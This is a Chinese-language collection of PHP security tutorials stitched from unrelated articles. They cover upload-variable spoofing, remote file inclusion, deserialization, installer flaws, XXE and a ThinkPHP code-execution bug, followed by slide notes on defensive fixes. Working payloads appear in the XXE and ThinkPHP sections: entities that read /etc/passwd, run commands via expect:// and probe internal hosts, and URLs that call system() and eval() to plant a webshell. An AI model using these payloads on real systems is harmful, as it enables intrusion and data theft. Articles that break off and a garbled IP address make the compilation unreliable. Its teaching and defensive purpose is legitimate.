但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。
好了,废话少说,我们言归正传!
[全局变量]
PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。
PHP网站常见的安全漏洞
PHP网站常见的安全漏洞PHP网站常见的安全漏洞目前PHP网站常见的漏洞有五种,分别是Session文件漏洞、SQL注入漏洞、脚本命令执行漏洞、全局变量漏洞和文件漏洞。
下面为大家简单介绍一些。
1、session文件漏洞Session攻击是黑客最常用到的攻击手段之一。
当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP 设置了Session和Cookie用于方便用户的使用和访向。
2、SQL注入漏洞在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。
黑客可以根据恶意程序返回的结果获取相应的信息。
这就是月行胃的SQL注入漏洞。
3、脚本执行漏洞脚本执行漏洞常见的`原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。
脚本执行漏洞在以前的PHP网站中经常存在,但是随着PHP版本的升级,这些间题已经减少或者不存在了。
4、全局变量漏洞PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经声明就直接使用,使用的时候系统自动创建,而且也不需要对变量类型进行说明,系统会自动根据上下文环境自动确定变量类型。
这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。
5、文件漏洞文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。
假如在lsm.php中包含这样一段代码:include($b.”/aaa.php”.),这对黑客来说,可以通过变量$b来实现远程攻击,可以是黑客自已的代码,用来实现对网站的攻击。
可以向服务器提交 a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令。
下载全文。
PHP反序列化漏洞详解(魔术方法)
PHP反序列化漏洞详解(魔术⽅法)⽂章⽬录⼀、PHP⾯向对象编程在⾯向对象的程序设计(Object-oriented programming,OOP)中,对象是⼀个由信息及对信息进⾏处理的描述所组成的整体,是对现实世界的抽象。
类是⼀个共享相同结构和⾏为的对象的集合。
每个类的定义都以关键字class开头,后⾯跟着类的名字。
创建⼀个PHP类:<?phpclass TestClass //定义⼀个类{//⼀个变量public $variable = 'This is a string';//⼀个⽅法public function PrintVariable(){echo $this->variable;}}//创建⼀个对象$object = new TestClass();//调⽤⼀个⽅法$object->PrintVariable();>public、protected、privatePHP 对属性或⽅法的访问控制,是通过在前⾯添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地⽅被访问。
protected(受保护):受保护的类成员则可以被其⾃⾝以及其⼦类和⽗类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。
注意:不同修饰符序列化后的值不⼀样访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所⽰:public:属性被序列化的时候属性值会变成属性名protected:属性被序列化的时候属性值会变成\x00*\x00属性名private:属性被序列化的时候属性值会变成\x00类名\x00属性名其中:\x00表⽰空字符,但是还是占⽤⼀个字符位置魔术⽅法(magic函数)PHP中把以两个下划线__开头的⽅法称为魔术⽅法(Magic methods)类可能会包含⼀些特殊的函数:magic函数,这些函数在某些情况下会⾃动调⽤。
ctf php总结
ctf php总结CTF PHP总结CTF(Capture The Flag)比赛是一种网络安全竞赛,旨在测试参赛者在网络安全领域的技能和知识。
在CTF比赛中,PHP常常是被攻击者利用的目标之一,因此了解PHP的一些常见漏洞和防御措施对于参赛者来说至关重要。
本文将总结一些常见的CTF PHP漏洞和相关防御方法。
一、PHP漏洞分类1. 文件包含漏洞:PHP中的文件包含函数(例如include、require)在不正确的使用情况下可能导致攻击者执行任意代码。
防御方法包括使用白名单、避免用户可控参数等。
2. SQL注入漏洞:当PHP代码未能正确地过滤和转义用户输入时,攻击者可能通过构造恶意的SQL语句来绕过身份验证、执行任意数据库操作等。
防御方法包括使用预处理语句、输入验证和过滤等。
3. 远程命令执行漏洞:当PHP代码未能正确地验证用户输入时,攻击者可能通过构造恶意的命令来执行任意系统命令。
防御方法包括使用白名单、输入验证和过滤等。
4. 文件上传漏洞:当PHP代码未能正确地验证和过滤用户上传的文件时,攻击者可能上传恶意文件并执行任意代码。
防御方法包括限制上传文件类型、文件扩展名验证和文件内容验证等。
5. 安全配置漏洞:PHP的一些配置参数可能会导致安全漏洞,例如关闭错误报告、开启全局变量等。
防御方法包括合理配置PHP参数、限制PHP函数的使用等。
二、PHP漏洞的防御措施1. 输入验证和过滤:对于用户输入的数据,应进行严格的验证和过滤,确保数据的合法性和安全性。
2. 使用预处理语句:对于与数据库交互的代码,应使用预处理语句,避免拼接SQL语句导致的SQL注入漏洞。
3. 最小权限原则:将PHP运行在最小权限的用户下,限制其对系统资源的访问权限,减少攻击者获取敏感信息的机会。
4. 文件上传限制:限制上传文件的类型、大小和存储位置,并对上传的文件进行严格的验证和过滤,确保文件的安全性。
5. 安全配置:合理配置PHP参数,关闭不必要的功能和服务,限制PHP函数的使用,减少攻击面。
PHP-CGI远程代码执行漏洞分析与防范
PHP-CGI远程代码执⾏漏洞分析与防范CVE-2012-1823出来时据说是“PHP远程代码执⾏漏洞”,曾经也“轰动⼀时”,当时的我只是刚踏⼊安全门的⼀个⼩菜,直到前段时间tomato师傅让我看⼀个案例,我才想起来这个漏洞。
通过在中对这个漏洞环境的搭建与漏洞原理的分析,我觉得还挺有意思的,故写出⼀篇⽂章来,和⼤家分享。
⾸先,介绍⼀下PHP的运⾏模式。
下载PHP源码,可以看到其中有个⽬录叫sapi。
sapi在PHP中的作⽤,类似于⼀个消息的“传递者”,⽐如我在《》⼀⽂中介绍的fpm,他的作⽤就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执⾏。
除了fpm,最常见的sapi应该是⽤于Apache的mod_php,这个sapi⽤于php和apache之间的数据交换。
php-cgi也是⼀个sapi。
在远古的时候,web应⽤的运⾏⽅式很简单,web容器接收到http数据包后,拿到⽤户请求的⽂件(cgi 脚本),并fork出⼀个⼦进程(解释器)去执⾏这个⽂件,然后拿到执⾏结果,直接返回给⽤户,同时这个解释器⼦进程也就结束了。
基于bash、perl等语⾔的web应⽤多半都是以这种⽅式来执⾏,这种执⾏⽅式⼀般就被称为cgi,在安装Apache的时候默认有⼀个cgi-bin⽬录,最早就是放置这些cgi脚本⽤的。
但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有⼀定消耗的,⽽且进程的数量也不是⽆限的。
所以,基于cgi 模式运⾏的⽹站通常不能同时接受⼤量请求,否则每个请求⽣成⼀个⼦进程,就有可能把服务器挤爆。
于是后来就有了fastcgi,fastcgi进程可以将⾃⼰⼀直运⾏在后台,并通过fastcgi协议接受数据包,执⾏后返回结果,但⾃⾝并不退出。
php有⼀个叫php-cgi的sapi,php-cgi有两个功能,⼀是提供cgi⽅式的交互,⼆是提供fastcgi⽅式的交互。
也就说,我们可以像perl⼀样,让web容器直接fork⼀个php-cgi进程执⾏某脚本;也可以在后台运⾏php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi 的管理器),并让web容器⽤fastcgi协议和9000交互。
论PHP常见的漏洞WooYun知识库
论PHP 常见的漏洞WooYun 知识库首先拿到一份源码 肯定是先install 上。
而在安装文件上又会经常出现问题。
一般的安装文件在安装完成后 基本上都不会自动删除这个安装的文件 我遇到过的会自动删除的好像也就qibocms 了。
其他的基本都是通过生成一个lock 文件 来判断程序是否安装过了 如果存在这个lock 文件了 就会退出了。
这里首先 先来说一下安装文件经常出现的问题。
根本无验证。
这种的虽然不多 但是有时还是会遇到个。
在安装完成后 并不会自动删除文件 又不会生成lock 来判断是否安装过了。
导致了可以直接重装过例子: WooYun: PHPSHE B2C 重装。
安装file因为install 一般都会有step 步骤啥的。
Step 1 check 啥啥 step 2 是安装啥的。
而一些cms 默认step 是1 而step 又是GET 来的 而他check lock 的时候就是在step1里面。
这时候如果我们直接用GET 提交step 2 那么就直接进入下一步了 就没check lock 了。
例如某cms 中的安装文件1 2 3 4 5 6 7 8 9 if (empty ($step)){$step = 1;//当用户没有提交step 的时候 赋值为1}require_once ("includes/inc_install.php");$gototime = 2000;/*------------------------显示协议文件------------------------*/10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if ($step == 1) //当1才检测lock{if (file_exists('installed.txt')){echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/></head><body>你已经安装过该系统,如果想重新安装,请先删除install 目录下的 installed.txt 文件,然后再安装。
PHPXXE漏洞
PHPXXE漏洞PHP xml 外部实体注⼊漏洞(XXE)1.环境PHP 7.0.30Libxml 2.8.0Libxml2.9.0 以后,默认不解析外部实体,对于PHP版本不影响XXE的利⽤2.原理介绍XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计⽤来显⽰数据,其焦点是数据的外观。
HTML 旨在显⽰信息,⽽ XML 旨在传输信息。
XML特点,XML 被设计⽤来结构化、存储以及传输信息。
仅仅是纯⽂本,有能⼒处理纯⽂本的软件都可以处理 XML。
XML 允许创作者定义⾃⼰的标签和⾃⼰的⽂档结构。
XML 是独⽴于软件和硬件的信息传输⼯具。
所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的⽅法不⼀样的,如在IE中使⽤loadXML()⽅法,在其他浏览器中使⽤DOMParser。
loadXML()⽅法⽤于加载字符串⽂本,load()⽅法⽤于加载⽂件。
解析器把 XML 载⼊内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。
3.漏洞危害3.1读取任意⽂件file 协议,file:///etc//passwdphp 协议,php://filter/read=convert.base64-encode/resource=index.php3.2执⾏系统命令部分情况会有,在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应⽤中,就能执⾏命令。
简单payload如下<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://ifconfig" >]><root><name>&xxe;</name></root>3.3探测内⽹端⼝借助漏洞实现内⽹探测,常见payload如下:<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "http://192.168.199.100:80">]><root><name>&xxe;</name></root>3.4攻击内⽹⽹站(dos或者直接吃服务器资源导致⽆法正常服务)4.测试启动并且编译环境docker-compose up -dWeb⽬录位www有四个⽂件├── dom.php # ⽰例:使⽤DOMDocument解析body├── index.php├── SimpleXMLElement.php # ⽰例:使⽤SimpleXMLElement类解析body└── simplexml_load_string.php # ⽰例:使⽤simplexml_load_string函数解析bodydom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个⽂件的代码。
php有难度的面试题(3篇)
第1篇一、题目背景作为一名PHP高级开发工程师,你将被要求解决以下一系列复杂问题,这些问题涉及PHP的高级特性、性能优化、安全性和设计模式。
这些问题的解决将考察你对PHP语言的深入理解以及在实际项目中解决问题的能力。
二、问题列表1. 问题一:内存泄漏检测与优化- 描述:你注意到一个PHP应用程序在运行一段时间后开始变得缓慢,怀疑可能是内存泄漏导致的。
请编写一个PHP脚本,能够检测并定位内存泄漏的代码段。
- 要求:- 使用Xdebug或phpmemcached等工具检测内存使用情况。
- 分析内存增长曲线,定位可能的内存泄漏点。
- 提供代码示例,展示如何修复内存泄漏。
2. 问题二:大型网站缓存策略设计- 描述:你正在负责一个大型网站的架构设计,需要设计一个高效的缓存策略来提高网站性能。
- 要求:- 设计一个缓存架构,包括内存缓存、磁盘缓存和远程缓存(如Redis)。
- 解释缓存失效策略,如LRU、LRU2、Redis的TTL等。
- 提供PHP代码示例,展示如何实现缓存逻辑。
3. 问题三:异步编程与消息队列- 描述:你需要在PHP中实现一个异步任务队列,用于处理耗时的后台任务。
- 要求:- 使用Gearman、RabbitMQ或Redis等工具实现消息队列。
- 设计异步任务处理流程,包括任务发布、任务队列、任务消费等。
- 提供PHP代码示例,展示如何实现任务队列和任务处理。
4. 问题四:安全编码与SQL注入防护- 描述:你发现了一个PHP应用程序存在SQL注入漏洞,需要设计一种方法来防护这种攻击。
- 要求:- 分析SQL注入的原理和常见漏洞。
- 设计一种防护策略,如使用预处理语句、参数化查询等。
- 提供PHP代码示例,展示如何安全地执行数据库查询。
5. 问题五:对象关系映射(ORM)框架设计- 描述:你想要设计一个简单的ORM框架,以便于数据库操作。
- 要求:- 设计ORM框架的基本架构,包括模型、映射、查询构建器等。
ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP框架任意代码执⾏漏洞的利⽤及其修复⽅法ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的。
最早诞⽣于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。
早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的Action 和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式,封装了CURD和⼀些常⽤操作,单⼀⼊⼝模式等,在模版引擎、缓存机制、认证机制和扩展性⽅⾯均有独特的表现.然⽽近期thinkphp框架爆出了⼀个任意代码执⾏漏洞,其危害性相当的⾼,漏洞利⽤⽅法如下:index.php/module/aciton/param1/${@print(THINK_VERSION)}index.php/module/aciton/param1/${@function_all()}其中的function_all代表任何函数,⽐如:index.php/module/aciton/param1/${@phpinfo()}就可以获取服务器的系统配置信息等。
index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al可以列出⽹站⽂件列表index.php/module/action/param1/{${eval($_POST[s])}}就可以直接执⾏⼀句话代码,⽤菜⼑直接连接.将/ThinkPHP/Lib/Core/Dispatcher.class.php⽂件中的$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));修改为:$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));将preg_replace第⼆个参数中的双引号改为单引号,防⽌其中的php变量语法被解析执⾏。
php反序列化ctf题
php反序列化ctf题反序列化漏洞是一种常见的安全漏洞,攻击者可以利用该漏洞对目标系统进行远程代码执行。
在CTF比赛中,反序列化题目常见且有挑战性,需要我们理解反序列化的原理,并利用相关知识解决问题。
本文将介绍如何应对php反序列化ctf 题目。
一、了解反序列化漏洞反序列化漏洞是由于开发者未正确验证和过滤用户输入数据导致的。
攻击者可以构造恶意数据,通过触发目标系统对反序列化攻击载荷的解析和执行,最终导致远程代码执行漏洞。
在php中,反序列化漏洞通常涉及到serialize()和unserialize()函数。
serialize()函数将对象转化为字符串,unserialize()函数将字符串反序列化为对象。
攻击者可以通过构造恶意的序列化字符串,以实现代码执行的目的。
二、反序列化ctf题目解析在反序列化ctf题目中,通常会给出一个包含序列化字符串的PHP代码。
我们需要分析这个字符串,并找到其中存在的漏洞点,进而构造合适的攻击载荷。
解决反序列化ctf题目的关键是对序列化字符串的深入理解。
序列化字符串一般由一系列字母、数字和特殊字符组成,其中包含了对象的类名和属性值。
我们需要根据给定的序列化字符串,推测出序列化的对象结构和类名,并分析对象的属性和方法,找到可能存在漏洞的点。
常见的反序列化漏洞包括但不限于:1. 目标类中的反序列化函数未正确实现,导致攻击者可以在反序列化时执行任意代码。
2. 目标类的属性在反序列化时未经过滤,攻击者可以通过修改属性值来达到恶意代码注入的目的。
3. 反序列化过程中使用了危险的魔术方法(__wakeup()、__destruct()等),攻击者通过构造特定的序列化字符串,触发魔术方法的执行,导致代码执行漏洞。
三、解题思路对于一个反序列化ctf题目,我们可以采用如下的解题思路:1. 分析给定的序列化字符串,找到被序列化的对象的类名和属性。
2. 推测目标类中可能存在的漏洞点,例如未实现的反序列化函数、属性未经过滤等。
常见的网络安全漏洞及修复措施(一)
网络安全漏洞是指网络系统或应用程序中的弱点或错误,这些漏洞会被黑客利用以获取非法访问、窃取敏感信息或破坏系统服务。
网络安全漏洞广泛存在于各种网络环境和应用程序中,并给个人用户、组织以及整个网络生态系统带来了巨大的威胁。
本文将介绍几种常见的网络安全漏洞及相应的修复措施。
一、密码安全漏洞密码是身份验证和数据保护的重要手段,但很多用户对密码的设置不够重视,常用简单、容易猜测的密码,或者在多个网站上使用同一密码。
这为黑客提供了攻击的机会。
修复措施:1. 密码强度要求:用户应根据网站的要求设置强密码,至少包括大小写字母、数字和特殊字符,并且避免使用常见的密码,如“123456”、“qwerty”等。
2. 多因素身份验证:网站应提供两步验证或者使用指纹识别等更安全的身份验证方式,以增加登录的安全性。
二、软件漏洞软件漏洞是指由于设计、编码或配置错误而导致的安全漏洞。
黑客可以利用这些漏洞执行恶意代码、突破权限限制或者获取系统的敏感信息。
修复措施:1. 及时升级和更新:软件开发商会及时发布安全补丁来修复已知的漏洞,用户应尽快升级软件和操作系统来保持最新的安全状态。
2. 安全审计:软件开发团队应定期对代码进行安全审计,及时发现和修复潜在的漏洞。
3. 安全配置:合理配置软件,关闭或限制不必要的功能和服务,以减少攻击面。
三、社会工程学攻击社会工程学攻击指诱导用户进行某些操作,以获取用户敏感信息的攻击手段。
黑客通过伪装成他人或借助某些事件等方式来诱骗用户,例如钓鱼邮件、诱导点击恶意链接等。
修复措施:1. 培训和教育:用户应加强自我防范意识,警惕不明邮件、短信和电话,并且不轻易提供个人敏感信息。
2. 安全策略:组织和企业应制定相应的安全策略,明确员工在面对威胁时应采取的行动和注意事项。
四、跨站脚本攻击(XSS)跨站脚本攻击是指攻击者在目标网站上注入恶意脚本,当其他用户访问该网站时,恶意脚本会在用户的浏览器上执行,获取用户的敏感信息或执行恶意操作。
服务器安全性的五大漏洞及防范措施
服务器安全性的五大漏洞及防范措施随着互联网的快速发展,服务器安全性问题变得愈发重要。
服务器是存储和处理大量敏感数据的重要设备,一旦出现安全漏洞,可能会导致严重的信息泄露、服务中断甚至数据被篡改等问题。
因此,了解服务器安全性的漏洞并采取相应的防范措施显得尤为重要。
本文将介绍服务器安全性的五大漏洞及相应的防范措施。
一、弱密码弱密码是服务器安全性的一个常见漏洞。
许多管理员在设置密码时往往偏向于使用简单的密码,比如“123456”、“admin”等,这些密码容易被破解,给黑客提供了入侵服务器的机会。
为了防范弱密码漏洞,管理员应该采取以下措施:1. 设置复杂密码:密码应该包含大小写字母、数字和特殊字符,长度不少于8位;2. 定期更换密码:定期更换密码可以有效降低被破解的风险;3. 使用多因素认证:多因素认证可以提高账户的安全性,即使密码泄露也难以登录服务器。
二、未及时更新补丁软件厂商会不断发布安全补丁来修复已知的漏洞,但是很多管理员并没有及时更新服务器上的软件和补丁,导致服务器存在已经修复的漏洞。
为了防范未及时更新补丁的漏洞,管理员应该:1. 定期检查更新:定期检查软件厂商发布的安全补丁,并及时更新服务器上的软件;2. 自动更新:可以设置软件自动更新,确保服务器始终运行在最新的安全版本上;3. 监控漏洞信息:关注安全社区和厂商发布的漏洞信息,及时采取措施修复已知漏洞。
三、弱网络安全配置弱网络安全配置是服务器安全性的另一个重要漏洞。
如果管理员没有正确配置防火墙、访问控制列表等网络安全设备,可能会导致黑客通过网络攻击入侵服务器。
为了防范弱网络安全配置的漏洞,管理员应该:1. 配置防火墙:正确配置防火墙规则,限制不必要的网络访问,阻止恶意流量的进入;2. 使用访问控制列表:根据业务需求设置访问控制列表,限制特定IP 地址或端口的访问权限;3. 加密网络通信:使用SSL/TLS等加密协议保护网络通信安全,防止数据被窃取或篡改。
php include函数漏洞利用方法
php include函数漏洞利用方法1.在使用include函数时,用户输入未经过滤可能会导致代码执行漏洞。
When using the include function, user input that is not filtered may result in code execution vulnerabilities.2.攻击者可以利用include函数漏洞来执行恶意代码,危害服务器安全。
Attackers can exploit the include function vulnerabilityto execute malicious code, compromising server security.3.使用include函数时,应当对用户输入进行严格的过滤和验证。
When using the include function, strict filtering and validation of user input should be applied.4.程序员应该避免在include函数中使用动态变量,以免产生安全隐患。
Programmers should avoid using dynamic variables in the include function to avoid security risks.5. include函数漏洞可能导致敏感信息泄露,对网站造成严重损失。
Include function vulnerabilities may lead to sensitive information leaks, causing serious damage to the website.6.经常对系统进行安全审计,及时修复include函数漏洞,可降低被攻击风险。
Regular security audits of the system and timely fixing of include function vulnerabilities can reduce the risk of being attacked.7.在编写代码时,应当遵循最小权限原则来限制include函数的调用范围。
php sql注入漏洞解决方法
php sql注入漏洞解决方法标题,解决PHP中SQL注入漏洞的有效方法。
在网站开发中,SQL注入漏洞一直是开发者们头痛的问题。
特别是在使用PHP语言开发的网站中,由于PHP在处理数据库时存在一些漏洞,使得网站更容易受到SQL注入攻击。
因此,解决PHP中SQL注入漏洞至关重要。
下面将介绍一些解决PHP中SQL注入漏洞的有效方法:1. 使用预处理语句,预处理语句是一种在SQL语句执行前将参数化的查询语句发送到数据库服务器的方法。
通过使用预处理语句,可以有效地防止SQL注入攻击。
在PHP中,可以使用PDO(PHPData Objects)或者MySQLi扩展来实现预处理语句。
2. 输入验证和过滤,在接收用户输入时,应该进行严格的验证和过滤。
确保用户输入的数据符合预期的格式和类型,并且对于特殊字符进行过滤,避免将恶意代码插入到SQL语句中。
3. 使用ORM框架,ORM(Object-Relational Mapping)框架可以将对象和数据库之间的映射关系进行抽象化,从而避免直接操作SQL语句。
ORM框架可以自动处理数据的输入和输出,减少了SQL注入的风险。
4. 最小权限原则,在数据库连接时,应该尽量使用最小权限原则,即给予程序所需的最低权限。
避免使用具有过高权限的数据库账号,从而减少了攻击者利用SQL注入漏洞进行攻击的可能性。
5. 定期更新和维护,定期更新PHP版本和相关的数据库驱动程序,以获取最新的安全补丁和修复程序。
同时,定期审计和维护数据库和代码,确保网站的安全性。
总之,解决PHP中SQL注入漏洞需要综合考虑代码编写、输入验证、数据库权限控制等方面的因素。
通过采取上述措施,可以有效地防止SQL注入攻击,保护网站和用户的数据安全。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
POST漏洞 POST漏洞(1) 漏洞(1)
漏洞原因
在一些留言本和论坛程序中,更要严格检查页 面的方式和提交的时间间隔.以防止灌水式发 帖和外部提交.
范例
... $text1=flt_tags($text1); $text2=flt_tags($text2); $text3=flt_tags($text3); $fd=fopen("data.php","a"); fwrite($fd,"\r\n$text1&line;$text2&line;$text3"); fclose($fd); ...
POST漏洞 POST漏洞(2) 漏洞(2)
漏洞解决
$_SESSION["allowgbookpost"]=time(); //登记填写时的时间 <BR>在接受留言数据并保存的页面中我们在进行数据处理 前我们也用Session进行以下处理: if(strtoupper($_SERVER["REQUEST_METHOD"])!="POST"){ die("错误:请勿在外部提交."); } //检查页面获得方法是否 为POST POST if(!isset($_SESSION["allowgbookpost"]) or (time()$_SESSION["allowgbookpost"] < 10)){ die("错误:请勿在外 部提交."); } //检查留言填写时的时间 if(isset($_SESSION["gbookposttime"]) and (time()$_SESSION["gbookposttime"] < 120)){ die("错误:两次提交 留言的间隔不得少于2分钟.") ; } //检查留言间隔 unset($_SESSION["allowgbookpost"]); //注入allowgbookpost 变量以防止一次写入填写页面多次进行提交 $_SESSION["gbookposttime"]=time(); //登记发送留言的时 间,防止灌水或恶意攻击
管理员判断不完全(1) 管理员判断不完全(1)
漏洞原因
我们用PHP写脚本,通常要涉及管理员的权限 问题. 而一些脚本对管理员权限作出"是"判断, 而往往忽略了"否"判断.
范例
$cookiesign="admincookiesign"; $adminsign=$_COOKIE["sign"]; If($adminsign==$cookiesign) { $admin=true; } if($admin){ echo ""; }
管理员判断不完全(1) 管理员判断不完全(1)
漏洞解决 范例
在脚本中加入对管理员的"否"判断即可.
$cookiesign="admincookiesign"; $adminsign=$_COOKIE["sign"]; if($adminsign==$cookiesign) { define(admin,true); } else { define(admin,false); } if(admin){ echo ""; }
PHP常见漏洞及解决方法 PHP常见漏洞及解决方法
滥用include 滥用include (1)
漏洞原因 有很多PHP脚本直接把某输入变量作为 Include的参数,造成任意引用脚本,绝对路 径泄露等漏洞.
范例
... $includepage=$_GET["includepage"]; include($includepage); ...
未对输入变量进行过滤(1) 未对输入变量进行过滤(1)
漏洞解决 范例
严格对全部提交的变量进行过滤. function flt_tags($text) { $badwords=array("",""); $badwords=array("",""); $text=rtrim($text); foreach($badwords as $badword) foreach($badwords as $badword) { if(stristr($text,$badword)==true){ die(""); } }
错误路径泄露(2) 错误路径泄露(2)
漏洞解决 display_errors设置为Off, 利用set_error_handler()来解决 范例 //自定义的错误处理函数一定要有这4个输 入变量$errno,$errstr,$errfile,$errline,否则 无效.
function my_error_handler($errno,$errstr,$errfile,$errline) { if(!admin) { $errfile=str_replace(getcwd(),"",$errfile); $errstr=str_replace(getcwd(),"",$errstr); } switch($errno) { case E_ERROR: case E_ERROR: echo "ERROR: [ID $errno] $errstr (Line: $errline of $errfile) echo "ERROR: [ID $errno] $errstr (Line: $errline of $errfile) \n"; echo ""; exit; break; case E_WARNING: case E_WARNING: echo "WARNING: [ID $errno] $errstr (Line: $errline of $errfile) echo "WARNING: [ID $errno] $errstr (Line: $errline of $errfile) \n"; break; default: break; } } //把错误处理设置为my_error_handler函数 set_error_handler("my_error_handler"ude (1)
漏洞解决 范例
先判断页面是否存在再进行Include.
$pagelist=array("test1.php","test2.php","test3.php"); if(isset($_GET["includepage"])) { $includepage=$_GET["includepage"]; foreach($pagelist as $prepage) { if($includepage==$prepage) { include($prepage); $checkfind=true; break; } } if($checkfind==true){ unset($checkfind); } else{ die(""); } }
结论
AND Q&A
�
$text1=$_POST["text1"]; $text2=$_POST["text2"]; $text3=$_POST["text3"]; $text1=flt_tags($text1); $text2=flt_tags($text2); $text3=flt_tags($text3); $fd=fopen("test.php","a"); fwrite($fd,"\r\n$text1&line;$text2&line;$text3 "); fclose($fd);
未对输入变量进行过滤(1) 未对输入变量进行过滤(1)
漏洞原因
范例
存在SQL注入漏洞,档案储存问题 $id=$_GET["id"]; $query="SELECT * FROM my_table where id='".$id."'"; $result=mysql_query($query); ------------------------------------------------------- $text1=$_POST["text1"]; $text2=$_POST["text2"]; $text3=$_POST["text3"]; $fd=fopen("test.php","a"); fwrite($fd,"\r\n$text1&line;$text2&line;$text3"); fclose($fd);
$text=htmlspecialchars($text); //HTML替换 $text=str_replace("\r"," ",$text); $text=str_replace("\n","",$text); $text=str_replace("&line;","│",$text); $text=preg_replace("/\s{ 2 }/"," ",$text); $text=preg_replace("/\t/"," ",$text); if(get_magic_quotes_gpc()){ $text=stripslashes($text); } return $text; }